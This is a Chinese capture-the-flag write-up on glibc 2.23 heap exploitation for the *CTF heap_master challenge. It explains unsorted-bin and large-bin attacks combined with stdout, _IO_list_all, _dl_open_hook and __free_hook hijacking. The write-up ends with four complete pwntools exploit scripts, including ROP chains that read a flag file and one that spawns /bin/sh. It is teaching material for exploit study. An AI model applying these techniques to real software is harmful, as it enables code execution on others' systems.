深入分析 IO_FILE 与 Unosrtbin Largebin attack 的结合利用

作者:V1NKe

来源:https://xz.aliyun.com/t/5267

前言:

最近在学习的过程中,遇到一个很有趣的东西,就是IO_FILELargebin Unsortbin attack的结合利用,这个技巧能延伸出来很多种利用方式。

正文:

就拿最近的*CTF上的heap_master来举例。

因为本文主讲利用技巧,所以具体程序分析这里就略过了。程序在mmap区域上对堆进行增删改,所以要想构造利用,就得在mmap区域上构造chunk。以下均在libc-2.23环境下进行。

漏洞点:

有一个类似于UAF的漏洞点。

利用初探:

程序没有show函数,那么便很容易想到用修改stdout的方式来泄漏,那么该怎么去修改呢,从UAF角度分析,可以利用UAF来达到Unsortbin attackLargebin attack

利用思考:

Unsortbin attack只能任意地址写一个libc地址的值,该如何把这一次任意写利用最大化呢,那么就是修改global_max_fast。这样我们就可以得到glibc上的任意地址写堆地址,因为很大的chunk都变成了fastbin,因此越界了规定内的fastbin_index,导致可以在任意写堆地址。

用图来表示就是:

所以可以任意写堆地址。

我们可以覆盖stdout,使得stdout指向我们的mmap空间,并且我们事先在mmap空间构造好_IO_2_1_stdout,导致在打印出程序菜单之前先泄漏了地址。结果为这样:

如图0x57e5c100开始就是我们事先构造好的_IO_2_1_stdout,有的人或许会想问,0x7f那些地址怎么来的?很简单,事先构造0x91的chunk,free后又add,即可得到libc上的地址,再把低位双字节改成_IO_2_1_stdout上的内容,就有1/16的概率能够撞到。

泄漏出来:

泄漏出地址了,下一步便是劫持程序流了。

这里我们可以利用2.24版本后的IO_FILE利用,先劫持_IO_list_all,再接着构造_IO_list_all,触发_IO_flush_all_lockp

覆盖就很容易了,跟前面所覆盖的stdout一样,而构造过程需要根据后续调用来构造了。我们需要触发_IO_str_jumps上的overflow。通过以下代码来劫持:

int

_IO_str_overflow (_IO_FILE *fp, int c)

{

int flush_only = c == EOF;

_IO_size_t pos;

if (fp->_flags & _IO_NO_WRITES)// pass

return flush_only ? 0 : EOF;

if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))

{

fp->_flags |= _IO_CURRENTLY_PUTTING;

fp->_IO_write_ptr = fp->_IO_read_ptr;

fp->_IO_read_ptr = fp->_IO_read_end;

}

pos = fp->_IO_write_ptr - fp->_IO_write_base;

if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in

{

if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass

return EOF;

else

{

char *new_buf;

char *old_buf = fp->_IO_buf_base;

size_t old_blen = _IO_blen (fp);

_IO_size_t new_size = 2 * old_blen + 100;

if (new_size < old_blen)//pass 一般会通过

return EOF;

new_buf

= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

劫持程序流:

 new_buf

= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

我们所需要bypass的几个条件:

1. fp->_flags & _IO_NO_WRITES为假

2. fp->_flags & _IO_USER_BUF(0x01)为假

3. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数

4. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 这里是劫持到的函数的rdi,即第一参数

5. fp+0xe0指向需要劫持到的函数

这里我们已经可以控制rip和rdi了,我构造如下:

    _IO_FILE = ( p64(0) +

p64(0)*3 +

p64(0) + # write_base

p64(0x7fffffffffffffff) + # write_ptr

p64(0xdadaddaaddddaaaa) +

p64(0) + # buf_base

p64((morecore - 100) / 2) + # rdi buf_end

p64(0xdadaddaaddddaaaa)*11 +

p64(0) + # + 0xa8

p64(0xdadaddaaddddaaaa)*6 +

p64(IO_str_j) + # + 0xd8

p64(setcontext))

但是单单控制了rip和rdi还不够,我们还需要把栈空间给转移到mmap上来。

观察上面可以看到,我们先把程序流劫持到这里来:

   0x00007f20066f4b75 <+53>:    mov    rsp,QWORD PTR [rdi+0xa0]

0x00007f20066f4b7c <+60>: mov rbx,QWORD PTR [rdi+0x80]

0x00007f20066f4b83 <+67>: mov rbp,QWORD PTR [rdi+0x78]

0x00007f20066f4b87 <+71>: mov r12,QWORD PTR [rdi+0x48]

0x00007f20066f4b8b <+75>: mov r13,QWORD PTR [rdi+0x50]

0x00007f20066f4b8f <+79>: mov r14,QWORD PTR [rdi+0x58]

0x00007f20066f4b93 <+83>: mov r15,QWORD PTR [rdi+0x60]

0x00007f20066f4b97 <+87>: mov rcx,QWORD PTR [rdi+0xa8]

0x00007f20066f4b9e <+94>: push rcx

0x00007f20066f4b9f <+95>: mov rsi,QWORD PTR [rdi+0x70]

0x00007f20066f4ba3 <+99>: mov rdx,QWORD PTR [rdi+0x88]

0x00007f20066f4baa <+106>: mov rcx,QWORD PTR [rdi+0x98]

0x00007f20066f4bb1 <+113>: mov r8,QWORD PTR [rdi+0x28]

0x00007f20066f4bb5 <+117>: mov r9,QWORD PTR [rdi+0x30]

0x00007f20066f4bb9 <+121>: mov rdi,QWORD PTR [rdi+0x68]

0x00007f20066f4bbd <+125>: xor eax,eax

0x00007f20066f4bbf <+127>: ret

从第一条语句我们就可以转移栈空间,因为rdi我们可控。中间的rcx可以用__morecore维持平衡。

最后栈会成功转移到我们的mmap区域来,所以事先在mmap区域构造好ROP即可劫持整个程序流。

利用延伸:

延伸点1:

可以有别的劫持流吗?当然可以。

我们还可以不劫持_IO_list_all,换个方式,劫持_dl_open_hook

_dl_open_hook是怎么个说法呢?它跟__free_hook类似,但是又不一样,区别就在于当它不为NULL时,执行的是**_dl_open_hook,而__free_hook是执行*__free_hook。触发条件是当malloc或free出错时。

当执行到**_dl_open_hook时,rax存的就是*_dl_open_hook,即堆地址。所以我找到了这么一处gadgets

    => 0x00007fd2f8d9a98a <+170>:       mov    rdi,rax

0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]

这样,我们也控制了rdi,往后可以构造劫持到上面所说的转移栈空间的那处gadgets。后面的流程也一样了。

延伸点2:

那么largebin attack呢?

largebin attack实际上也是任意地址修改为堆地址,发生的链表修改操作为:

fwd->bk_nextsize->fd_nextsize = victim;

fwd->bk->fd = victim;

通过调试可知这里的任意修改为第二条,每次largebin attack可任意修改一次为堆地址。实质上跟unsortbin attack没有太大的区别,只是修改方式不一样。

但是这里可以换一种方式泄漏libc地址。

可以去修改_IO_2_1_stdout_flag为堆地址。因为flag满足一定的条件时,就可以泄漏:

if fp->flag & 0xa00 == 1 and fp->flag & 0x1000 == 1 then it will leak something when f->write_base != f->write_ptr

这里也是有一定概率的。除了修改完_flag之后,还需要覆盖write_base的最低一个字节为\x00,这时候可以错位覆盖:

两处地方修改完之后的情况:

即可泄漏出地址。

往后的劫持程序流跟上面所说的一样,既可以劫持_dl_open_hook也可以劫持_IO_list_all

延伸点3:

还可以如何劫持程序流程?可以劫持__free_hook

大致流程就是用largebin attack泄漏出地址后(跟上面延伸2一致),再用largebin attack修改global_max_fast。这样就可以来利用fastbin_index_overflow了。

覆盖__free_hook为堆地址之后,修改该堆地址所对应的chunkfd指针为system地址。这样当把他add取出之后,__free_hook地址就变为了system的地址:

delete之后即可触发。

当然了,__malloc_hook__relloc_hook等等也是一样的。

利用总结:

题目还是很新颖的,从普通堆空间转化到了mmap区域上的堆空间来。可以大胆的去想思路,上面的有些思路仔细想的话其实还是很巧妙的,不管是从找gadgets和整个劫持程序流程的构造来说都很巧妙,能够把几种思路都去试着练习一下还是能够收获到很多东西的,思路上、或者是构造利用上。而且上面的几种方式交叉组合一下利用,还能有着多种方式。

Reference:

  1. https://balsn.tw/ctf_writeup/20190427-*ctf/
  2. https://xz.aliyun.com/t/2411
  3. https://xz.aliyun.com/t/5006
  4. https://github.com/sixstars/starctf2019/blob/master/pwn-heap_master/hack.py

EXP:

1. Unsortbin attack + _IO_list_all

from pwn import *

elf = ELF('./heap_master')

libc = ELF('./libc-2.23.so')

context.log_level = 'debug'

def add(size):

p.sendlineafter('>> ', '1')

p.sendlineafter('size: ', str(size))

def edit(off,cont):

p.sendlineafter('>> ', '2')

p.sendlineafter('offset: ', str(off))

p.sendlineafter('size: ', str(len(cont)))

p.sendafter('content: ', cont)

def delete(off):

p.sendlineafter('>> ', '3')

p.sendlineafter('offset: ', str(off))

def exp():

for i in range(0xe):

edit(0xf8 + i*0x10,p64(0x201))

for i in range(0x10):

edit(0x2f8 + i*0x10,p64(0x21))

for i in range(0xd):

delete(0x1d0-i*0x10)

add(0x1f0)

edit(0x100, p64(0xfbad1800) + p16(0x26a3))

edit(0x110,p16(0x26a3))

edit(0x118,p16(0x26a3))

edit(0x120,p16(0x2618))

edit(0x128,p16(0x26a3))

edit(0x130,p16(0x26a3))

edit(0x138,p16(0x26a3))

edit(0x140,p16(0x26a3))

edit(0x148, p64(0)*4 + p16(0x18e0))

edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))

edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))

edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))

edit(0x1008,p64(0x91))

edit(0x1098,p64(0x21))

edit(0x10b8,p64(0x21))

#edit(0x1148,p64(0x21))

delete(0x1010)

edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast

add(0x80)

edit(0x108,p64(0x17e1))

edit(0x18e8,p64(0x21))

edit(0x1908,p64(0x21))

delete(0x110)

data = u64(p.recv(6).ljust(8,'\x00'))

libc_base = data - 3946208

log.success('libc_base is :'+hex(libc_base))

IO_str_j = libc_base + libc.symbols['_IO_file_jumps']+0xc0

morecore = libc_base + libc.symbols['__morecore'] - 8 - 0xa0

setcontext = libc_base + 293749

_IO_FILE = ( p64(0) +

p64(0)*3 +

p64(0) + # + 0x20 write_base

p64(0x7fffffffffffffff) + # write_ptr

p64(0xdadaddaaddddaaaa) +

p64(0) + # + 0x38 buf_base

p64((morecore - 100) / 2) + # rdi buf_end

p64(0xdadaddaaddddaaaa)*11 +

p64(0) +

p64(0xdadaddaaddddaaaa)*6 +

p64(IO_str_j) + # + 0xd8

p64(setcontext))

edit(0x2008,p64(0x1411))

edit(0x3418,p64(0x21))

delete(0x2010) # modify _IO_list_all to mmap+0x2000

#gdb.attach(p)

edit(0x2000,_IO_FILE)

edit(0x3008,p64(0x1121)) # modify __morecore-8 to mmap+0x3000

edit(0x4128,p64(0x21))

delete(0x3010)

pop_rax = libc_base + 0x0000000000033544

pop_rdi = libc_base + 0x0000000000021102

pop_rsi = libc_base + 0x00000000000202e8

pop_rdx = libc_base + 0x0000000000001b92

syscall = libc_base + 0x00000000000bc375

buf = libc_base + 3954496

rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write

p64(pop_rdi) + p64(0) +

p64(pop_rsi) + p64(buf) +

p64(pop_rdx) + p64(0x100) +

p64(syscall) +

p64(pop_rax) + p64(2) +

p64(pop_rdi) + p64(buf) +

p64(pop_rsi) + p64(0) +

p64(pop_rdx) + p64(0) +

p64(syscall) +

p64(pop_rax) + p64(0) +

p64(pop_rdi) + p64(3) +

p64(pop_rsi) + p64(buf) +

p64(pop_rdx) + p64(100) +

p64(syscall) +

p64(pop_rax) + p64(1) +

p64(pop_rdi) + p64(1) +

p64(pop_rsi) + p64(buf) +

p64(pop_rdx) + p64(100) +

p64(syscall))

edit(0x3000,rop)

p.sendline("A") # trigger on exit()

time.sleep(0.1)

p.send("./flag\x00")

p.interactive()

if __name__ == '__main__' :

pd = 1

while pd:

try :

p = process('./heap_master')

exp()

pd = 0

except Exception :

p.close()

pass

2. Unsortbin attack + _dl_open_hook

from pwn import *

elf = ELF('./heap_master')

libc = ELF('./libc-2.23.so')

context.log_level = 'debug'

def add(size):

p.sendlineafter('>> ', '1')

p.sendlineafter('size: ', str(size))

def edit(off,cont):

p.sendlineafter('>> ', '2')

p.sendlineafter('offset: ', str(off))

p.sendlineafter('size: ', str(len(cont)))

p.sendafter('content: ', cont)

def delete(off):

p.sendlineafter('>> ', '3')

p.sendlineafter('offset: ', str(off))

def exp():

for i in range(0xe):

edit(0xf8 + i*0x10,p64(0x201))

for i in range(0x10):

edit(0x2f8 + i*0x10,p64(0x21))

for i in range(0xd):

delete(0x1d0-i*0x10)

add(0x1f0)

edit(0x100, p64(0xfbad1800) + p16(0x26a3))

edit(0x110,p16(0x26a3))

edit(0x118,p16(0x26a3))

edit(0x120,p16(0x2618))

edit(0x128,p16(0x2710))

edit(0x130,p16(0x26a3))

edit(0x138,p16(0x26a3))

edit(0x140,p16(0x26a3))

edit(0x148, p64(0)*4 + p16(0x18e0))

edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))

edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))

edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))

edit(0x1008,p64(0x91))

edit(0x1098,p64(0x21))

edit(0x10b8,p64(0x21))

#edit(0x1148,p64(0x21))

delete(0x1010)

edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast

add(0x80)

edit(0x108,p64(0x17e1))

edit(0x18e8,p64(0x21))

edit(0x1908,p64(0x21))

delete(0x110)

data = u64(p.recv(6).ljust(8,'\x00'))

data2 = p.recvuntil('===')

data2 = data2[-11:-7]

#print data2

data2 = u64(data2.ljust(8,'\x00'))

vmmap_base = data2 - 256

libc_base = data - 3946208

log.success('libc_base is :'+hex(libc_base))

log.success('vmmap_base is :'+hex(vmmap_base))

setcontext = libc_base + 293749

edit(0x2008,p64(0x8f91))

edit(0xaf98,p64(0x21))

delete(0x2010) # modify _dl_open_hook to mmap+0x2000

edit(0x2000,p64(libc_base+0x6D98A))

'''

=> 0x00007fd2f8d9a98a <+170>: mov rdi,rax

0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]

'''

#gdb.attach(p,'b *'+str(libc_base+0x6D98A))

edit(0x2020,p64(setcontext))

edit(0x20a0,p64(vmmap_base+0x20b0))

edit(0x20a8,p64(libc_base+0x0000000000000937))

pop_rax = libc_base + 0x0000000000033544

pop_rdi = libc_base + 0x0000000000021102

pop_rsi = libc_base + 0x00000000000202e8

pop_rdx = libc_base + 0x0000000000001b92

syscall = libc_base + 0x00000000000bc375

#buf = libc_base + 3954496

buf = libc_base + 3954496+0x20

rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write

p64(pop_rdi) + p64(0) +

p64(pop_rsi) + p64(buf) +

p64(pop_rdx) + p64(0x100) +

p64(syscall) +

p64(pop_rax) + p64(2) +

p64(pop_rdi) + p64(buf) +

p64(pop_rsi) + p64(0) +

p64(pop_rdx) + p64(0) +

p64(syscall) +

p64(pop_rax) + p64(0) +

p64(pop_rdi) + p64(4) +

p64(pop_rsi) + p64(buf) +

p64(pop_rdx) + p64(100) +

p64(syscall) +

p64(pop_rax) + p64(1) +

p64(pop_rdi) + p64(1) +

p64(pop_rsi) + p64(buf) +

p64(pop_rdx) + p64(100) +

p64(syscall))

edit(0x20b0,rop)

#gdb.attach(p)

add(0x20)

time.sleep(0.1)

p.send("./flag\x00")

p.interactive()

if __name__ == '__main__' :

pd = 1

while pd:

try :

p = process('./heap_master')

exp()

pd = 0

except Exception :

p.close()

pass

3. Largebin attack + _dl_open_hook

from pwn import *

elf = ELF('./heap_master')

libc = ELF('./libc-2.23.so')

context.log_level = 'debug'

def add(size):

p.sendlineafter('>> ', '1')

p.sendlineafter('size: ', str(size))

def edit(off,cont):

p.sendlineafter('>> ', '2')

p.sendlineafter('offset: ', str(off))

p.sendlineafter('size: ', str(len(cont)))

p.sendafter('content: ', cont)

def delete(off):

p.sendlineafter('>> ', '3')

p.sendlineafter('offset: ', str(off))

def exp():

edit(0x108,p64(0x401)) #fake first large chunk

edit(0x508,p64(0x21))

edit(0x528,p64(0x21))

delete(0x110)

add(0x400)

edit(0x608,p64(0x411))

edit(0x608+0x410,p64(0x21))

edit(0x608+0x430,p64(0x21))

delete(0x610)

edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr

add(0x410)

edit(0x1008,p64(0x451)) #fake second large chunk

edit(0x1458,p64(0x21))

edit(0x1478,p64(0x21))

delete(0x1010)

add(0x450)

edit(0x1508,p64(0x461))

edit(0x1968,p64(0x21))

edit(0x1988,p64(0x21))

delete(0x1510)

edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'

add(0x460)

data = p.recv(8,timeout=1)

if data == '' or data[0] == '=' :

raise NameError

else :

pass

p.recv(24)

data1 = u64(p.recv(8))

data2 = u64(p.recv(6).ljust(8,'\x00'))

heap_base = data1 - 3584

libc_base = data2 - 3954339

setcontext = libc_base + 293749

print hex(heap_base),hex(libc_base)

edit(0x2008,p64(0x501))

edit(0x2508,p64(0x21))

edit(0x2528,p64(0x21))

delete(0x2010)

add(0x500)

edit(0x2608,p64(0x511))

edit(0x2b18,p64(0x21))

edit(0x2b38,p64(0x21))

delete(0x2610)

edit(0x2018,p16(0x62d0))

add(0x510)

#gdb.attach(p)

pop_rax = libc_base + 0x0000000000033544

pop_rdi = libc_base + 0x0000000000021102

pop_rsi = libc_base + 0x00000000000202e8

pop_rdx = libc_base + 0x0000000000001b92

syscall = libc_base + 0x00000000000bc375

edit(0x2600,p64(libc_base+0x6D98A))

edit(0x2620,p64(setcontext))

edit(0x26a0,p64(heap_base+0x26b0))

edit(0x26a8,p64(libc_base+0x0000000000000937)) #ret

edit(0x26b0,p64(pop_rax)) #read

edit(0x26b8,p64(0))

edit(0x26c0,p64(pop_rdi))

edit(0x26c8,p64(0))

edit(0x26d0,p64(pop_rsi))

edit(0x26d8,p64(heap_base))

edit(0x26e0,p64(pop_rdx))

edit(0x26e8,p64(20))

edit(0x26f0,p64(syscall))

edit(0x26f8,p64(pop_rax)) #open

edit(0x2700,p64(2))

edit(0x2708,p64(pop_rdi))

edit(0x2710,p64(heap_base))

edit(0x2718,p64(pop_rsi))

edit(0x2720,p64(0))

edit(0x2728,p64(pop_rdx))

edit(0x2730,p64(0))

edit(0x2738,p64(syscall))

edit(0x2740,p64(pop_rax)) #read

edit(0x2748,p64(0))

edit(0x2750,p64(pop_rdi))

edit(0x2758,p64(4))

edit(0x2760,p64(pop_rsi))

edit(0x2768,p64(heap_base))

edit(0x2770,p64(pop_rdx))

edit(0x2778,p64(0x20))

edit(0x2780,p64(syscall))

edit(0x2788,p64(pop_rax)) #write

edit(0x2790,p64(1))

edit(0x2798,p64(pop_rdi))

edit(0x27a0,p64(1))

edit(0x27a8,p64(pop_rsi))

edit(0x27b0,p64(heap_base))

edit(0x27b8,p64(pop_rdx))

edit(0x27c0,p64(0x20))

edit(0x27c8,p64(syscall))

delete(0x2b20)

delete(0x2b20)

p.send('./flag\x00')

p.interactive()

if __name__ == '__main__' :

pd = 1

while pd:

try :

p = process('./heap_master')

exp()

pd = 0

except Exception as e:

print e

p.close()

pass

4. Largebin attack + __free_hook

from pwn import *

elf = ELF('./heap_master')

libc = ELF('./libc-2.23.so')

context.log_level = 'debug'

def add(size):

p.sendlineafter('>> ', '1')

p.sendlineafter('size: ', str(size))

def edit(off,cont):

p.sendlineafter('>> ', '2')

p.sendlineafter('offset: ', str(off))

p.sendlineafter('size: ', str(len(cont)))

p.sendafter('content: ', cont)

def delete(off):

p.sendlineafter('>> ', '3')

p.sendlineafter('offset: ', str(off))

def exp():

edit(0x108,p64(0x401)) #fake first large chunk

edit(0x508,p64(0x21))

edit(0x528,p64(0x21))

delete(0x110)

add(0x400)

edit(0x608,p64(0x411))

edit(0x608+0x410,p64(0x21))

edit(0x608+0x430,p64(0x21))

delete(0x610)

edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr

add(0x410)

edit(0x1008,p64(0x451)) #fake second large chunk

edit(0x1458,p64(0x21))

edit(0x1478,p64(0x21))

delete(0x1010)

add(0x450)

edit(0x1508,p64(0x461))

edit(0x1968,p64(0x21))

edit(0x1988,p64(0x21))

delete(0x1510)

edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'

add(0x460)

data = p.recv(8,timeout=1)

if data == '' or data[0] == '=' :

raise NameError

else :

pass

p.recv(24)

data1 = u64(p.recv(8))

data2 = u64(p.recv(6).ljust(8,'\x00'))

heap_base = data1 - 3584

libc_base = data2 - 3954339

system_addr = libc_base + libc.symbols['system']

bin_addr = libc_base + libc.search('/bin/sh').next()

edit(0x2008,p64(0x501)) #fake third large chunk

edit(0x2508,p64(0x21))

edit(0x2528,p64(0x21))

delete(0x2010)

add(0x500)

edit(0x2608,p64(0x511))

edit(0x2b18,p64(0x21))

edit(0x2b38,p64(0x21))

delete(0x2610)

edit(0x2018,p16(0x37e8)) #modify global_max_fast

add(0x510)

edit(0x3008,p64(0x3921))

edit(0x3008+0x3920,p64(0x21))

delete(0x3010)

edit(0x3010,p64(system_addr))#modify fastbin->fd --> system

add(0x3918)

#gdb.attach(p)

edit(0x4008,p64(0x21))

edit(0x4010,'/bin/sh')

edit(0x4028,p64(0x21))

delete(0x4010)

p.interactive()

if __name__ == '__main__' :

pd = 1

while pd:

try :

p = process('./heap_master')

exp()

pd = 0

except Exception as e:

print e

p.close()

pass

以上是 深入分析 IO_FILE 与 Unosrtbin Largebin attack 的结合利用 的全部内容, 来源链接: utcz.com/p/199343.html

回到顶部